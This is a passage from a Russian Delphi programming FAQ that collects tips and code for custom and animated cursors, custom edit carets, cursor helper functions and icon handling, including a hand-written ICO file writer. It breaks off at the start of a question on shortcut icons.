  h := LoadImage(0, 'c:\Cursor.cur', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or
    LR_LOADFROMFILE);
  if h = 0 then
    ShowMessage('Cursor not loaded!!!')
  else
    begin
      Screen.Cursors[1] := h;
      Form1.Cursor := 1;
    end;
end;

Этот пример позволяет также использовать анимированные курсоры (*.ani)!

Вот кусок кода для загрузки анимированного курсора, который можно вставить в обработку события активизации формы :

var
  h: THandle;
  name: array[0..255] of char;
begin
  StrPCopy(name, 'Animcurs.ani');
  h := LoadImage(0, name, IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or
    LR_LOADFROMFILE);
  if h <> 0 then
    begin
      Screen.Cursors[1] := h;
      Screen.Cursor := 1;
    end
  else
    Screen.Cursor := crDefault;
end;

Взято с сайта http://blackman.wp-club.net/


Как работать с анимированными курсорами?

Answer:

To use an animated cursor you have several options: load it from a file (using LoadImage or LoadCursorFromFile), load it from a resource (using LoadCursor) or even creating the cursor at runtime (using CreateCursor).

Note:
You should implement custom cursors as resources. Rather than create the cursors at run time, use the LoadCursor, LoadCursorFromFile, or LoadImage function to avoid device dependence, to simplify localization, and to enable applications to share cursor designs.

· Loading a cursor from a file

The easiest way to load a cursor from a file is by using LoadCursorFromFile.
This functions returns a handle to the loaded cursor that you should assign to your application Cursors array.

var
  hCur: HCURSOR;

begin
  // Load the cursor from file
  hCur := LoadCursorFromFile(PChar('path_to_my_cursor'));
  // Assign the loaded cursor to application Cursors array. (This cursor will ave the
  // number 1 assigned to it
  // Remember that predefined cursors start at a negative index, and user defined
  // custom cursors are assigned positive indexes.
  Screen.Cursors[1] := hCur;

  // Use the cursor as you would use a built-in cursor.
  Screen.Cursor := 1;
end;

You can also use LoadImage instead of LoadCursorFromFile like this:

  hCur := LoadImage(0, PChar(PChar('path_to_my_cursor')), IMAGE_CURSOR, 0, 0,
  LR_DEFAULTSIZE or LR_LOADFROMFILE);

· Loading a cursor from a resource

Before loading a cursor from a resource it's necessary to create the resource file with the cursor to be loaded.

To do this create a file myResources.rc where you'll put the following

#define ANICURSOR 21
myCursor ANICURSOR "path_to_my_cursor"

Because Borland's resource compiler does not understand the ANICURSOR resource type, so you have to use the numeric id (21).
Compile your resource file using "brcc32 myResources.rc" and include in the unit where you'll be loading the cursor, using {$R myResources.res}

Now, you just have to load the cursor from the resource instead of loading it from a file, using:

hCur := LoadCursor(HInstance, PChar('myCursor'));

Remember that HInstance contains the instance handle of the application or library as provided by Windows. This variable it's very importante because it's the one used with many Windows API that work with current application resources.

· Creating a cursor at runtime

Another way to use a cursor it's creating one at runtime. Why would you do that?
I don't know, it's your choice. I doubt you ever will create your cursors at runtime, anyway here it's way how to do it.

Define the cursor map

const
  // Yin cursor AND bitmask
  ANDmaskCursor: array[0..127] of byte = (
    $FF, $FC, $3F, $FF, $FF, $C0, $1F, $FF,
    $FF, $00, $3F, $FF, $FE, $00, $FF, $FF,
    $F7, $01, $FF, $FF, $F0, $03, $FF, $FF,
    $F0, $03, $FF, $FF, $E0, $07, $FF, $FF,
    $C0, $07, $FF, $FF, $C0, $0F, $FF, $FF,
    $80, $0F, $FF, $FF, $80, $0F, $FF, $FF,
    $80, $07, $FF, $FF, $00, $07, $FF, $FF,
    $00, $03, $FF, $FF, $00, $00, $FF, $FF,
    $00, $00, $7F, $FF, $00, $00, $1F, $FF,
    $00, $00, $0F, $FF, $80, $00, $0F, $FF,
    $80, $00, $07, $FF, $80, $00, $07, $FF,
    $C0, $00, $07, $FF, $C0, $00, $0F, $FF,
    $E0, $00, $0F, $FF, $F0, $00, $1F, $FF,
    $F0, $00, $1F, $FF, $F8, $00, $3F, $FF,
    $FE, $00, $7F, $FF, $FF, $00, $FF, $FF,
    $FF, $C3, $FF, $FF, $FF, $FF, $FF, $FF
    );

  // Yin cursor XOR bitmask
  XORmaskCursor: array[0..127] of byte = (
    $00, $00, $00, $00, $00, $03, $C0, $00,
    $00, $3F, $00, $00, $00, $FE, $00, $00,
    $0E, $FC, $00, $00, $07, $F8, $00, $00,
    $07, $F8, $00, $00, $0F, $F0, $00, $00,
    $1F, $F0, $00, $00, $1F, $E0, $00, $00,
    $3F, $E0, $00, $00, $3F, $E0, $00, $00,
    $3F, $F0, $00, $00, $7F, $F0, $00, $00,
    $7F, $F8, $00, $00, $7F, $FC, $00, $00,
    $7F, $FF, $00, $00, $7F, $FF, $80, $00,
    $7F, $FF, $E0, $00, $3F, $FF, $E0, $00,
    $3F, $C7, $F0, $00, $3F, $83, $F0, $00,
    $1F, $83, $F0, $00, $1F, $83, $E0, $00,
    $0F, $C7, $E0, $00, $07, $FF, $C0, $00,
    $07, $FF, $C0, $00, $01, $FF, $80, $00,
    $00, $FF, $00, $00, $00, $3C, $00, $00,
    $00, $00, $00, $00, $00, $00, $00, $00
    );

then create the cursor

hCur := CreateCursor(HInstance, 19, 2, 32, 32, @ANDmaskCursor, @XORmaskCursor);
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

Во первых необходимо получит handle курсора, а затем определить его в массиве курсоров компонента TScreen. Индексы предопределенных курсоров системы отрицательны, пользователь может определить курсор, индекс которого положителен.

procedure TForm1.Button1Click(Sender: TObject);
var
  h: THandle;
begin
  h := LoadImage(0, 'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE);
  if h = 0 then
    ShowMessage('Cursor not loaded')
  else
    begin
      Screen.Cursors[1] := h;
      Form1.Cursor := 1;
    end;
end;


Можно ли изменить вид текстового курсора (каретки) edit'а или другого элемента?

Можно! В примере показано как создать два цветных "bitmap'а": "улыбчивый" и "хмурый" и присвоить их курсору edit'а. Для этого нужно перехватить оконную процедуру edit'а. Чтобы сделать это заменим адрес оконной процедуры Edit'а нашим собственным, а старую оконную процедуру будем вызывать по необходимости. Пример показывает "улыбчивый" курсор при наборе текста и "хмурый" при забое клавишей backspace.

unit caret1;

interface

{$IFDEF WIN32}
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
{$ELSE}
uses
  WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
{$ENDIF}

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
  {Private declarations}
  public
  {Public declarations}
    CaretBm: TBitmap;
    CaretBmBk: TBitmap;
    OldEditsWindowProc: Pointer;
  end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

type
{$IFDEF WIN32}
  WParameter = LongInt;
{$ELSE}
  WParameter = Word;
{$ENDIF}
  LParameter = LongInt;

{New windows procedure for the edit control}

function NewWindowProc(WindowHandle: hWnd; TheMessage: WParameter; ParamW: WParameter;
  ParamL: LParameter): LongInt
{$IFDEF WIN32} stdcall; {$ELSE}; export; {$ENDIF}
begin
{Call the old edit controls windows procedure}
  NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc, WindowHandle,
    TheMessage, ParamW, ParamL);
  if TheMessage = WM_SETFOCUS then
    begin
      CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
      ShowCaret(WindowHandle);
    end;
  if TheMessage = WM_KILLFOCUS then
    begin
      HideCaret(WindowHandle);
      DestroyCaret;
    end;
  if TheMessage = WM_KEYDOWN then
    begin
      if ParamW = VK_BACK then
        CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0)
      else
        CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
      ShowCaret(WindowHandle);
    end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{Create a smiling bitmap using the wingdings font}
  CaretBm := TBitmap.Create;
  CaretBm.Canvas.Font.Name := 'WingDings';
  CaretBm.Canvas.Font.Height := Edit1.Font.Height;
  CaretBm.Canvas.Font.Color := clWhite;
  CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2;
  CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2;
  CaretBm.Canvas.Brush.Color := clBlue;
  CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width, CaretBm.Height));
  CaretBm.Canvas.TextOut(1, 1, 'J');
{Create a frowming bitmap using the wingdings font}
  CaretBmBk := TBitmap.Create;
  CaretBmBk.Canvas.Font.Name := 'WingDings';
  CaretBmBk.Canvas.Font.Height := Edit1.Font.Height;
  CaretBmBk.Canvas.Font.Color := clWhite;
  CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2;
  CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2;
  CaretBmBk.Canvas.Brush.Color := clBlue;
  CaretBmBk.Canvas.FillRect(Rect(0, 0, CaretBmBk.Width, CaretBmBk.Height));
  CaretBmBk.Canvas.TextOut(1, 1, 'L');
{Hook the edit controls window procedure}
  OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle, GWL_WNDPROC,
    LongInt(@NewWindowProc)));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{Unhook the edit controls window procedure and clean up}
  SetWindowLong(Edit1.Handle, GWL_WNDPROC, LongInt(OldEditsWindowProc));
  CaretBm.Free;
  CaretBmBk.Free;
end;


Как ограничить перемещение курсора?

Как ограничить перемещение курсора мыши какой-либо областью экрана?

ClipCursor()

Учтите, что использование этой функции - плохой тон.

Copyright (C) Alexey Mahotkin 1997-1999


Функции и процедуры для работы с курсором

Функция CursorToIdent (Cursor: Longint;var Ident: string): Boolean;
Функция возвращает строковое значение предопределенной константы, определяющее вид курсора. Числовое значение, определяющее вид курсора, передается в параметре Cursor. Строковое значение константы возвращается в параметре Ident. Если для указанного числового значения, определяющего вид курсора, есть соответствующая строковая константа, то функция возвращает True, а иначе - False.
На практике возникают ситуации, когда необходимо, чтобы функция возвращала в результате строковое значение даже в том случае, когда для числового значения вида курсора, нет предопределенной строковой константы. В данных ситуациях используйте функцию CursorToString

Функция CursorToString( Cursor: TCursor ): string;
type TCursor = -32768...32767;
Функция возвращает строковое значение константы или числа, соответствующих указанному виду курсора. Числовое значение, определяющее вид курсора, передается в параметре Cursor. Если указанному значению соответствует предопределенная строковая константа, то функция возвращает имя этой константы, иначе возвращается строковое представление значения переданного в параметре Cursor.

Процедура GetCursorValues( Proc: TGetStrProc );
type TGetStrProc = Procedure( const S: string ) of Object;
Процедура передает каждое предопределенное в VCL имя курсора (значение предопределенной строковой константы, определяющей вид курсора) процедуре повторного вызова Proc.

Функция IdentToCursor (const Ident: string;var Cursor: Longint ): Boolean;
Функция возвращает числовое значение, соответствующее строковой константе, определяющей вид курсора. Строковое значение передается в параметре Ident. Числовое значение возвращается в переменной Cursor. При успешном выполнении функция возвращает True, а если значение Ident не является предопределенной константой, то функция возвращает False.Данная функция обратна по функциональности функции CursorToIdent.

Функция StringToCursor( const S: string ): TCursor;
type TCursor = -32768...32767;
Функция преобразовывает строковое значение S, определяющее вид курсора, в значение типа TCursor. Функция обратна по функциональности функции CursorToString. Параметр S должен представлять собой либо предопределенную константу вида курсора, либо строковое представление соответствующего ему числового значения, в противном случае возникнет исключение EConvertError.
var
  I1,I2: Longint;
begin
  I1:= StringToCursor('crHelp'); // I1:= -20
  I2:= StringToCursor('-20'); // I2:= -20
end;
Взято с http://atrussk.ru/delphi/


Частота мигания каретки

procedure TForm1.Button1Click(Sender: TObject);
begin
  Label1.Caption := Format('Caret blink time is: %d ms', [GetCaretBlinkTime]);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  // Set caret blink time to 2000ms
  SetCaretBlinkTime(2000);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как запретить показ курсора в TEdit и ему подобных контролах

Создайте своего потомка с обработчиками:

procedure WMPaint(var Msg: TMessage); message WM_Paint;
procedure WMSetFocus(var Msg: TMessage); message WM_SetFocus;
procedure WMNCHitTest(var Msg: TMessage); message WM_NCHitTest;

в которых вызывайте:

inherited;
HideCaret(Handle);


Иконки

Cодержание раздела:

Как использовать встроенные в Windows иконки в своём приложении?
O сохранении иконок 32х32 в 256-цветном формате
Проблемы с TCanvas.StretchDraw при рисовании иконок
Пример работы с DrawIcon(Ex)
Создание иконок из ресурсов
Как извлечь иконку из файла ярлыка? New!

См. также статьи в других разделах:
Можно ли использовать иконку как картинку на кнопке TSpeedButton?
Каким образом задать прозрачный цвет иконки?
Как поместить иконку в окошко подсказки?
Как загрузить иконку CD-ROM?
Что такое иконка на System Tray?
Как изменить иконку на Tray?
Как удалить иконку с Tray?
Как установить цвет фона иконок на рабочем столе, либо сделать у них прозрачный фон?
Как скрыть / показать иконки на рабочем столе?
Как выровнять иконки на рабочем столе к левому краю?
Как извлечь иконку из EXE или DLL?
Как преобразовать текст в иконку?
BMP ---> ICO
ICO ---> BMP


Как использовать встроенные в Windows иконки в своём приложении?

Сперва необходимо узнать, константы, которые соответствуют определённым иконкам. Все они определены в API unit (windows.pas) в Delphi:

IDI_HAND
IDI_EXCLAMATION
or
IDI_QUESTION

Следующий пример рисует иконку вопроса на панели:

var
  DC: HDC;
  Icon: HICON;
begin
  DC := GetWindowDC(Panel1.Handle);
  Icon := LoadIcon(0, IDI_QUESTION);
  DrawIcon(DC, 5, 5, Icon);
  ReleaseDC(Panel1.Handle, DC);
end;

Взято из http://forum.sources.ru


O сохранении иконок 32х32 в 256-цветном формате

Высылаю Вам информацию для FAQ о сохранении иконок 32х32 в 256-цветном
формате. Распоряжайтесь ею как Вам нужно. Размер кода большой, думаю для FAQ
не годится, скорее для раздела "Обмен опытом", но Вам видней. И сообщите,
пожалуйста, где эта информация будет размещена, чтоб не посылать каждому,
кто обратится, все описание, а просто дать ссылку.
С уважением, Владимир, г.Иркутск, nsvi@hotbox.ru

Суть вопроса: я столкнулся с проблемой сохранения полноцветных иконок, когда
понадобилось немного изменить имеющиеся у меня для своих программ. Ни родной
Image Editor от Delphi6, ни другие редакторы не смогли мне помочь. Могли это
делать платные редакторы, но они не для нас. Начав разбираться, я обнаружил,
что созданная функцией CreateIconIndirect иконка нормально выглядит, если
после создания ее кинуть на форму, однако после записи Icon.SaveToFile
иконка обезображивается. Это происходит на стадии записи иконки. Поискав
информацию, облазив форумы, я понял, что либо этой проблемой никто не
занимался, либо с ней все мирятся и заниматься не хотят, хотя интересующиеся
имеются.
Став заниматься проблемой вплотную, я решил использовать нетипизированные
файлы, которым все равно, что в них записывают. Эти файлы хорошо подходят
для работы с массивами байт и, если создать массив полностью соответствующий
структуре иконки, то записав массив в нетипизированный файл, получим искомую
иконку.
Пришлось изучить структуру файла ICO и вот результат.
Для использования процедуры нет необходимости изучать файл ICO, если только
вы не хотите ничего изменять, например, размеры иконки. В принципе, можно
сделать универсальную процедуру, которая бы определяла размер иконки и, в
соответствии с размерами, создавала иконку. Все адреса и размеры, указанные
в процедуре, являются абсолютными и изменению не подлежат, так как именно от
них зависит, будет ли соответствовать создаваемый массив файлу ICO.
В процедуру введено автоопределение количества цветов палитры, от этого
зависит структура файла. Вам нет нужды указывать количество используемых
цветов.
Кроме того, введено определение размера рисунка и если он не 32х32, то
процедура прекратит работу. Это произойдет и в случае если кому-то захочется
использовать более 256 цветов. Тем, кто хочет узнать о структуре файлов ICO,
читать после кода процедуры.
Используя этот метод можно работать с любыми файлами, например, для открытия
и побайтного изменения EXE-файлов.
Для работы этой процедуры нужен рисунок 32х32 на канве (у меня Image2),
диалоговое окно SaveDialog1 (но не SavePictureDialog1)
и все. Если нужно, измените имя канвы, оно встречается в двух строчках кода,
и имя диалогового окна. Процедура с комментариями ниже:
//Записываем картинку как иконку (файл .ico)
{Так как стандартные функции не дают возможности создавать 256 цветные
иконки, мы пойдем другим путем, хоть он и медленнее и длиннее.
Создадим массив байт, который запишем как файл, это и будет
искомая иконка. Для этого создадим промежуточные массивы, иначе процедура
станет слишком навороченной, затем проверим количество используемых цветов
и, в зависимости от этого, создадим окончательный массив.}

procedure TForm1.ToolButton6Click(Sender: TObject);
var
  MAnd, MXor, MOsn, MCol: array of Byte;
  MPix, MOrg: array of TColor;
  a, b, c, n, m: integer;
  Bt, Bu, Indicator: Byte;
  p: TColor;
  k: boolean;
  F: file;
  LenOsn, LenXor, LenCol: integer;
begin
  if (Image2.Picture.Height <> 32) or (Image2.Picture.Width <> 32) then
    begin
      ShowMessage('Исходный рисунок не 32х32');
      exit;
    end;
{Создание массивов: MAnd - массив маски AND, MXor - массив маски Xor,
основного массива MOsn - куда будет собираться вся информация,
массив MPix - массив пикселов рисунка начиная с левого нижнего угла,
MCol - массив таблицы цветов - палитры, MOrg - массив оригинальных цветов}
{Заполнение массивов MPix и MAnd}
{Активизация массивов}
  SetLength(MPix, 1024);
  SetLength(MAnd, 128);
{Установка счетчиков}
  b := 0; //Счетчик битов
  a := 0; //Счетчик пикселов картинки
  c := 0; //Счетчик байтов маски MAnd
  Bt := 0; //Формируемый байт маски MAnd
{Преобразование картинки в удобный формат, с началом от 0,
и перенос ее в таком виде в массив MPix, меняя по пути белый -
будущий прозрачный цвет - на черный, заодно заполняем массив MAnd}
  for m := 31 downto 0 do
    for n := 0 to 31 do
      begin
        MPix[a] := Image2.Canvas.Pixels[n, m];
        p := MPix[a];
        if p = RGB(255, 255, 255) then
          begin
            MPix[a] := RGB(0, 0, 0);
            if b = 0 then
              Bt := Bt + 128;
            if b = 1 then
              Bt := Bt + 64;
            if b = 2 then
              Bt := Bt + 32;
            if b = 3 then
              Bt := Bt + 16;
            if b = 4 then
              Bt := Bt + 8;
            if b = 5 then
              Bt := Bt + 4;
            if b = 6 then
              Bt := Bt + 2;
            if b = 7 then
              Bt := Bt + 1;
          end;
        b := b + 1;
        if b = 8 then
          begin
            MAnd[c] := Bt;
            Bt := 0;
            c := c + 1;
            b := 0;
          end;
        a := a + 1;
      end;
{Заполнение маски MOrg нулями, предполагая 256 цветов}
  SetLength(MOrg, 256);
  for n := 0 to 255 do
    MOrg[n] := RGB(255, 255, 255);
{Оцениваем количество цветов и от результата переделываем MOrg}
  a := 0; //Счетчик количества цветов
  for n := 0 to 1023 do
    begin
      p := MPix[n];
      k := false;
      for m := 0 to 255 do
        begin
          if k = false then
            if p = MOrg[m] then
              k := true;
        end;
      if k = false then
        begin
          if a > 255 then
            begin
              ShowMessage('Ваш рисунок имеет более 256 цветов');
              MOrg := nil;
              MPix := nil;
              MAnd := nil;
              exit;
            end;
          MOrg[a] := p;
          a := a + 1;
        end;
    end;
  LenOsn := 2238;
  LenXor := 1024;
  LenCol := 1024;
  Indicator := 1;
  if a < 15 then
    begin
      LenOsn := 766;
      LenXor := 512;
      Indicator := 0;
    end;
{Заполняем маски нулями}
  SetLength(MXor, LenXor);
  SetLength(MCol, LenCol);
  for n := 0 to LenXor - 1 do
    begin
      MXor[n] := 0;
    end;
  for n := 0 to LenCol - 1 do
    begin
      MCol[n] := 0;
    end;
{Заполнение массива MXor согласно массива MPix}
  Bu := 0;
  b := 0;
  c := 0;
  for n := 0 to 1023 do
    begin
      p := MPix[n];
      k := false;
      for Bt := 0 to 255 do
        begin
          if k = false then
            if p = MOrg[Bt] then
              begin
                k := true;
                if indicator = 1 then
                  MXor[n] := Bt
                else if b = 1 then
                  begin
                    Bu := 16 * Bu + Bt;
                    MXor[c] := Bu;
                    c := c + 1;
                    b := 0;
                  end
                else
                  begin
                    Bu := Bt;
                    b := 1;
                  end;
              end;
        end;
    end;
{Заполняем массив MCol согласно массива MOrg}
  begin
    a := 0;
    for n := 0 to 255 do
      begin
        p := MOrg[n];
        MCol[a] := GetBValue(p);
        MCol[a + 1] := GetGValue(p);
        MCol[a + 2] := GetRValue(p);
        a := a + 4;
      end;
  end;
{Заполняем MOsn нулями}
  SetLength(MOsn, LenOsn);
  for n := 0 to LenOsn - 1 do
    MOsn[n] := 0;
{Заполняем массив MOsn для 256 цветной иконки}
  if indicator = 1 then
    begin
      MOsn[2] := 1;
      MOsn[4] := 1;
      MOsn[6] := 32;
      MOsn[7] := 32;
      MOsn[14] := $A8;
      MOsn[15] := 8;
      MOsn[18] := $16;
      MOsn[22] := $28;
      MOsn[26] := 32;
      MOsn[30] := $40;
      MOsn[34] := 1;
      MOsn[36] := 8;
      MOsn[42] := $80;
      MOsn[43] := 4;
      MOsn[55] := 1;
      m := 0;
      for n := 62 to 1085 do
        begin
          MOsn[n] := MCol[m];
          m := m + 1;
        end;
      m := 0;
      for n := 1086 to 2109 do
        begin
          MOsn[n] := MXor[m];
          m := m + 1;
        end;
      m := 0;
      for n := 2110 to 2237 do
        begin
          MOsn[n] := MAnd[m];
          m := m + 1;
        end;
    end;
{Заполняем массив MOsn для 16-цветной}
  if indicator = 0 then
    begin
      MOsn[2] := 1;
      MOsn[4] := 1;
      MOsn[6] := 32;
      MOsn[7] := 32;
      MOsn[8] := 4;
      MOsn[14] := $E8;
      MOsn[15] := 2;
      MOsn[18] := $16;
      MOsn[22] := $28;
      MOsn[26] := 32;
      MOsn[30] := 64;
      MOsn[34] := 1;
      MOsn[36] := 4;
      MOsn[43] := 2;
      MOsn[54] := 16;
      m := 0;
      for n := 62 to 125 do
        begin
          MOsn[n] := MCol[m];
          m := m + 1;
        end;
      m := 0;
      for n := 126 to 637 do
        begin
          MOsn[n] := MXor[m];
          m := m + 1;
        end;
      m := 0;
      for n := 638 to 765 do
        begin
          MOsn[n] := MAnd[m];
          m := m + 1;
        end;
    end;
{Закрываем все массивы, кроме MOsn}
  MAnd := nil;
  MXor := nil;
  MOrg := nil;
  MCol := nil;
  MPix := nil;
{Записываем массив MOsn в файл, для этого создаем нетипизированный файл,
активизируем его и побайтно пишем в него данные из массива MOsn}
  if SaveDialog1.Execute then
    begin
      AssignFile(f, SaveDialog1.FileName + '.ico');
      Rewrite(f, 1);
      for n := 0 to LenOsn - 1 do
        begin
          Bt := MOsn[n];
          BlockWrite(f, Bt, 1);
        end;
      CloseFile(f);
      MOsn := nil;
    end;
end;

Существуют иконки более сложной структуры. Они могут содержать несколько
рисунков. Я с ними не разбирался.
Может быть кто-то из профессионалов скажет - примитивщина, нагородил. Ну что
ж, может быть есть пути проще и лучше, но когда я спрашивал на форумах никто
не смог помочь. Главное, работает без проблем.
Я всего месяц как познакомился с Delphi и Паскалем, думаю
можно кое-что и простить.
О структуре иконки. Информации немного в интернете, но кое-что я раскопал.
Пришлось просмотреть коды разных иконок, чтобы иметь о них представление.
Файл ICO очень похож на BMP:
в начале файла заголовок BITMAPFILEHEADER, размером обычно 22 байта. В нем
содержится информация о файле. За ним идет BITMAPINFOHEADER, 40 байт,
содержит информацию о ширине и высоте иконки в пикселах, количество бит на
пиксел в структуре картинки, занимаемое место таблицей цветов и другая
информация. Для примера оба заголовка для 16-цветной иконки.
В квадратных скобках номер байта в файле, далее эго значение.
[2] := 1; // Всегда 1
[4] := 1; // Всегда 1
[6] := 32; // Ширина и
[7] := 32; // высота в пикселах?
[8] := 4 // Не знаю
[14] := $E8; // Младший байт размера файла минус 22(размер BITMAPFILEHEADER)
[15] := 2; // Старший байт размера файла
[18] := 22; // Размер BITMAPFILEHEADER
[22] := 40; // Размер заголовка BITMAPINFOHEADER
[26] := 32; // Ширина в пикселах
[30] := 64; // Высота в пикселах обоих масок в сумме
[34] := 1; // Число плоскостей
[36] := 4; // бит/пиксел для таблицы пикселов
[43] := 2; // Старший байт размера таблицы пикселов (т.е.$200=512)
[54] := 16; // Число используемых цветов (не обязательно)
Остальные не указанные байты и до адреса 62 все 0.
После заголовков находится таблица цветов.
Каждый цвет занимает 4 байта. По порядку - синий, зеленый, красный и нулевой
байты. Первые 3 байта образуют цвет пиксела. То есть, каждый пиксел на
иконке может иметь 256х256х256 оттенков. При 16 цветной иконке таблица
цветов занимает 16х4=64 байта, при 256 цветной - 1024 байта. По идее, при
записи иконки любая программа должна просканировать иконку и все найденные
цвета записать в таблицу.Почему этого не происходит я не знаю. Windows эти
цвета при записи игнорирует и устанавливает свои.
Если же при 16 цветной палитре используются только, допустим, 6 цветов, то
остальные 10 цветов не нужны, однако место для них остается, но оно не
используется.
Следующим блоком в файле идет таблица пикселов. Первый пиксел это самый
нижний в левом углу. И переписываются они в таблицу построчно. Основной
параметр, по которому таблица организуется, это количество бит на пиксел.
Каждый элемент этой таблицы - это номер цвета в таблице цветов. При выводе
на экран иконки берется очередной элемент, то есть номер цвета в таблице
цветов, берет по номеру цвет из таблицы цветов и этот цвет выводится на
экран. Так как для определения номера в таблице из 16 цветов достаточно 4
бит, то каждый байт таблицы пикселов определяет 2 пиксела. Причем, младшие 4
разряда относятся к первому, а старшие - к следующему пикселам.
Для 256 цветов необходим полный байт. Поэтому, таблица пикселов занимает
соответственно 512 и 1024 байтов.
Таблица пикселов это образ маски XOR иконки, цвет, который должен быть
прозрачным, заменен черным, в остальном же это рисунок, который вы создали в
редакторе.
И последним идет таблица маски AND. Это двухцветная маска вашего рисунка,
имеет только белый цвет (бит включен) и черный цвет (бит равен 0). Белый
цвет находится там, где будет прозрачный цвет, черный скрывает все
остальное. При наложении двух масок друг на друга тот пиксел, у которого на
маске AND белый, а на маске XOR черный цвет, будет невидим.
Так как маска AND монохромная, то один байт содержит информацию о 8
пикселах, а размер маски будет 1024/8=128 байт.
Имеем:
для 16-цветной иконки размер 22+40+64+512+128=766 байт,
для 256 - 22+40+1024+1024+128=2238 байт.
Создав массив из соответствующим образом пребразованного рисунка, мы можем
записать его байты в нетипизированный файл, которому все равно, что в нем
находится, добавив к имени расширение .ico, мы получим то, что было нужно.
Конечно, есть разные варианты размеров иконок, у них могут меняться размеры
заголовков, использоваться другая информация, но структуры эти должны
присутствовать. Существуют иконки гораздо большие размером, но я с такими не
разбирался.

Взято с Vingrad.ru http://forum.vingrad.ru


Проблемы с TCanvas.StretchDraw при рисовании иконок

При попытке использовать метод TCanvas.StretchDraw чтобы нарисовать иконку
увеличенной ее размер не изменяется. Что делать?

Иконки всегда рисуются размером принятым в системе по умолчанию. Чтобы показать увеличенный вид иконки скоприуйте ее на bitmap, а зате используйте метод TCanvas.StretchDraw.

procedure TForm1.Button1Click(Sender: TObject);
var
  TheBitmap: TBitmap;
begin
  TheBitmap := TBitmap.Create;
  TheBitmap.Width := Application.Icon.Width;
  TheBitmap.Height := Application.Icon.Height;
  TheBitmap.Canvas.Draw(0, 0, Application.Icon);
  Form1.Canvas.StretchDraw(Rect(0, 0, TheBitmap.Width * 3, TheBitmap.Height * 3),
    TheBitmap);
  TheBitmap.Free;
end;


Пример работы с DrawIcon(Ex)

DrawIcon(Canvas.Handle, 5, 5, Application.Icon.Handle);
DrawIconEx(Canvas.Handle, 40, 40, Application.Icon.Handle, 0, 0, 0, Canvas.Brush.Handle, DI_NORMAL);

Автор cully
Взято с Vingrad.ru http://forum.vingrad.ru


Создание иконок из ресурсов

Вот небольшая статейка, найденная мной в FAQ(http://blackman.km.ru/myfaq/cont4.phtml). Может пригодится?

Функция CreateIconFromResourceEx создает иконку или курсор из битов ресурса, описывающих иконку.

перевод функции CreateIconFromResourceEx. CreateIconFromResourceEx Функция CreateIconFromResourceEx создает иконку или курсор из битов ресурса,
описывающих иконку. HICON CreateIconFromResourceEx( PBYTE pbIconBits, // указатель на биты ресурса
DWORD cbIconBits, // число бит в буфере
BOOL fIcon, // флаг иконки или курсора
DWORD dwVersion, // версия формата Windows
int cxDesired, // желаемая ширина иконки или курсора
int cyDesired, // желаемая высота иконки или курсора
UINT uFlags
); Параметры pbIconBits – указывает на буфер, содержащий биты ресурса иконки или курсора.
Эти биты обычно загружаются вызовами функций LookupIconIdFromDirectory (в Windows
95 вы также можете использовать функцию LookupIconIdFromDirectoryEx) и LoadResource.
cbIconBits – определяет размер, в байтах, набора битов, на который указывает
параметр pbIconBits.
fIcon – определяет, будет ли создаваться иконка или курсор. Если значение этого
параметра равно TRUE, создается иконка. Иначе создается курсор.
dwVersion – определяет номер версии формата иконки или курсора для битов ресурса,
на которые указывает параметр pbIconBits. Параметр может принимать одно из следующих
значений: Формат Значение
Windows 2.x 0x00020000
Windows 3.x 0x00030000 Все Win32 приложения должны использовать для иконок и курсоров формат Windows
3.x.
cxDesired – определяет желаемую ширину иконки или курсора в пикселях. Если значение
этого параметра равно нулю, функция использует значения метрики системы SM_CXICON
или SM_CXCURSOR для установки ширины.
cyDesired – определяет желаемую высоту иконки или курсора в пикселях. Если значение
этого параметра равно нулю, функция использует значения метрики системы SM_CXICON
или SM_CXCURSOR для установки высоты.
uFlags – определяет комбинацию из следующих значений: Значение Пояснение
LR_DEFAULTCOLOR Используется цветовой формат по умолчанию.
LR_MONOCHROME Создается монохромная иконка или курсор. Возвращаемые значения В случае успеха возвращается дескриптор иконки или курсора.
В случае неудачи возвращается нуль. Для получения дополнительной информации об
ошибке вызовите функцию GetLastError. Комментарии Функции CreateIconFromResourceEx, CreateIconFromResource, CreateIconIndirect,
GetIconInfo и LookupIconIdFromDirectoryEx позволяют приложениям оболочки и браузерам
иконок проверять и использовать ресурсы См. также BITMAPINFOHEADER, CreateIconFromResource, CreateIconIndirect, GetIconInfo, LoadResource,
LookupIconIdFromDirectoryEx . хелп по WinAPI: http://www.winnt.rsm.org.ru/winapi/win32api.exe

Взято с Vingrad.ru http://forum.vingrad.ru


Как извлечь иконку из файла ярлыка?

How to get icon from a shortcut file ?

I have found that if you use a ListView component,
to show a list of files in any folder that contains shortcuts,
then the shortcut icons do not appear correctly -
they do not show the true icon of the application to which they relate.

However, there is a a very useful feature of SHGetFileInfo,
which is SHGFI_LINKOVERLAY. This adds the shortcut "arrow",
which is shown in the bottom left corner of any shortcut icon.
The demo code below shows the basic use of the SHGFI_LINKOVERLAY feature.
I have added code to this demo, to distingiush between shortcut and non-shortcut files -
without this code, it will overlay the shortcut "arrow" irrespective of the file type.

To show the icon of a shortcut, the following code can be used as a demo:

